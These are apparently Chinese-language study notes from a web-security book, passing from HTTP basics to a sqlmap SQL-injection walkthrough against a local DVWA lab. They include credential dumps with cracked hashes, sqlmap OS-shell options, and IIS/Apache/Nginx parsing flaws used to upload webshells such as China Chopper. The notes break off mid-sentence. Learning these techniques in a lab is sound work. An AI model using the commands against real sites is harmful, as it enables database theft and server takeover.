Web安全深度剖析-笔记
HTTP基础知识
http是无状态的,请求之后就响应,然后完成,连接关闭。
http请求方法
序号 | 方法 | 描述 |
---|---|---|
1 | GET | 请求指定的页面的资源,并返回实体主体。(如果请求资源为php、jsp等,则解析后进行展示) |
2 | HEAD | 用于获取报头,类似于get请求,只不过返回的响应中没有具体的内容。(常用于扫描) |
3 | POST | 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。常用于向服务器发送大量数据。(如请求login.php,并传递账户密码等信息) |
4 | PUT | 客户端向服务器传送的数据取代指定的内容。(可以在服务器端创建,一般会禁用此方法) |
5 | DELETE | 请求服务器删除指定的页面。(可以在服务器端删除,一般会禁用此方法) |
6 | CONNECT | HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。 |
7 | OPTIONS | 允许客户端查看服务器的性能。(可以查看服务器端允许的请求方法,可以用来收集信息) |
8 | TRACE | 回显服务器收到的请求,主要用于测试或诊断。 |
http状态码
常见的HTTP状态码:
200 - 请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 重定向
400 - 请求语法错误
401 - 请求未经授权
403 - 服务器拒绝提供服务
404 - 请求的资源(网页等)不存在
500 - 内部服务器错误
http消息头(字段)
普通头:包括date消息产生的时间日期、connection指定连接的选项(连续的或不连续的)、cache-control缓存指令。
请求头 | 解释 |
---|---|
host | 域名 |
user-agent | 客户端信息 |
referer | 上一个页面 |
cookie | 表示请求者身份 |
range | 请求实体的部分内容 |
x-forward-for | xff头,表示请求段的ip |
accept | 客户端希望接收的消息类型 |
accept-charset | 客户端希望接收的字符类型 |
响应 | 解释 |
---|---|
server | Web服务器的名称 |
set-cookie | 向客户端设置cookie |
last-modified | 资源上次修改时间 |
location | 重定向的页面位置 |
refresh | 定时刷新浏览器 |
实体头 | 解释 |
---|---|
content-type | 告知客户端实体的类型 |
content-encoding | 应用到实体正文中附加内容的编码 |
content-length | 实体正文的长度 |
last-modified | 资源上次修改时间 |
截取HTTP请求
工具:burpsuite、fiddler
搜索引擎劫持
现象:直接输入自己网站的域名可直接登录,但是从搜索引擎搜到页面点击时,会跳转到其他页面
http头中有一个字段referer,可记录用户从哪个页面点击过来的,黑客通过user-agent字段实现搜索到从百度等搜索引擎跳转过来的访问请求时,构造一个location字段跳转到其他页面。
SQLmap注入
注意的点:
sqlmap不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
sqlmap参数区分大小写
添加环境变量:在系统变量的path里面加上sqlmap.py的路径(前提是默认python版本是2才可以),win7的话还要添加可识别的后缀,即pathtxt。
如果你在测试的时候发现sqlmap只检测第一个参数,给URL加个英文引号或许比较好。
注入基础知识
万能密码是典型的SQL注入;
注入基本分为:数字型和字符型,数字型无需闭合引号,字符型需闭合引号;
**查询的方式:**不同的数据库通常有不同的注入方法,但原理基本相似
- 枚举表或列来提取信息
- 利用数据类型转换错误提取信息
- 从数据库系统视图获取源数据
- order by、union、having等语句
- 数据库提供的函数
- 动态执行语句
以上在手工进行SQL注入练习时将详细研究。
使用DVWA来练习使用sqlmap
SQLmap基本使用方法
python2 sqlmap.py -u "带注入点的URL"
如此便可以检测该地址是否存在注入,存在哪几种类型的注入
更多的选项
- –cookie : 如果网站需要登录则需要设置cookie值
- -u : 指定目标URL
- -b : 获取DBMS banner,即数据库信息
- –dbs : 枚举DBMS中的数据库
- –current-db : 获取当前数据库名称
- –current-user : 获取当前用户
- –users : 枚举DBMS用户
- –password : 枚举DBMS用户密码hash,一般与-users连用
- -D : 要枚举的DBMS数据库
- –tables : 枚举DBMS数据库中的数据表
- -T : 要枚举的DBMS数据表
- –columns : 枚举DBMS数据库表中的所有列
- -C: 要枚举的DBMS数据表中的列
- –dump : 转储DBMS数据表项
简述利用过程
- 带入URL和cookie信息检测是否存在注入点
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low"
- 加参数-b --current-db --current-user获取数据库信息,当前数据库名和当前用户等信息
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -b --current-db --current-user
- 加参数–users --password获取数据库所有用户名和密码
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --users --password
- 加参数–dbs 获取所有的数据库名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --dbs
- 加参数-D 确定要采集信息的数据库名,加参数-tables 枚举该数据库的所有表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa --tables
- 加参数-T 确定要采集信息的数据表名,加参数-columns 枚举该数据表的所有列名(字段)
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users --columns
- 加参数-C 确定感兴趣的字段名,加参数-dump将获取的表项存储下来。
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users -C user,password --dump
最终能够得到可以登录dvwa的所有账户密码。
Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+
其他常用的参数用法
-
测试注入点权限
sqlmap.py -u "url" --privileges
\测试所有用户权限
sqlmap.py -u "url" --privileges
-U sa \单独测试sa用户的权限 -
执行shell命令
sqlmap.py -u [URL] --os-cmd="net user"
\执行net user命令
sqlmap.py -u [URL] --os-shell
\系统交互的shell -
执行SQL命令
sqlmap.py -u [URL] --sql-shell
\sql交互的shell
sqlmap.py -u [URL] --sql-query='sql'
\sql交互的shell -
注入http请求
DVWA安全级别medium注入方法:中级的页面提交的参数不在地址栏中显示,burp抓包显示参数在http请求的正文中,此时可通过注入http请求的方式,其它步骤基本一致
sqlmap.py -r head.txt --dbs
\head.txt内容为http请求
head.txt内容如下POST /login.php HTTP/1.1 Host:127.0.0.1/dvwa User—Agent:Mozilla/5.0 username=admin&password=password
head.txt中最好不要直接用抓包数据,建议删掉cookie、Referer等信息。(正确性待定)
-
注入http请求2
sqlmap.py -u "url" --forms
\forms参数会自动抓取post包,从而进行注入 -
将注入语句插入到指定位置
sqlmap.py -u "http://www.xxser.com/id/2*.html" —dbs
\伪静态页面可以利用星号指定注入点 -
使用sqlmap插件
sqlmap.py -u [URL] -tamper "base64encode.py"
\sqlmap自带的插件可以进行特殊的操作
SQLmap能检测到的注入类型
有以下5种:
- Boolean-based blind(布尔型注入)
通过判断页面返回情况获得想要的信息。 - Error-based(报错型注入)
- UNION query(可联合查询注入)
- Stacked queries(可多语句查询注入)
- Time-based blind(基于时间延迟注入)
盲注的一种,由于页面无回显,添加sleep函数,通过页面响应时间判断是否执行了函数。
其他检测SQL注入的工具
pangolin(穿山甲)、Havij(萝卜头)
上传漏洞
不对上传文件进行格式限制,导致任意文件上传,这就是一个上传漏洞
WEB解析漏洞简介
上传漏洞通常与WEB解析漏洞配合在一起
IIS6.0解析漏洞
- 当文件夹名命名为XX.asa或XX.asp时,文件夹中的所有文件都会被当做asp文件来执行
- 当文件命名为*.asp;1.jpg时,此文件会被当做asp文件来执行
- WebDav漏洞:开启webdav后,可扩展move、copy、delete等HTTP方法,此时即可put一个a.txt写入一句话木马,并通过copy或move改名为xx.asp,这样即可轻松上传一个webshell。同样可以使用delete方法删除任意文件。
APACHE漏洞
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰为止,如果都不认识,则会暴露其源代码。比如:1.php.rar
,apache不认识rar后缀,就会解析成php文件。
PHP CGI解析漏洞
Nginx曾经有两个解析漏洞,当在正常网页www.xx.com/1.jpg
后面加上/xx.php
时(xx.php
文件不需要存在),1.jpg
就会被当成PHP脚本来运行。
但此漏洞为PHP漏洞,因为PHP的配置文件中cgi.if选项默认开启向前递归解析,当xx.php
文件不存在时,就解析上一级文件,造成解析漏洞。
中国菜刀与一句话木马
往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和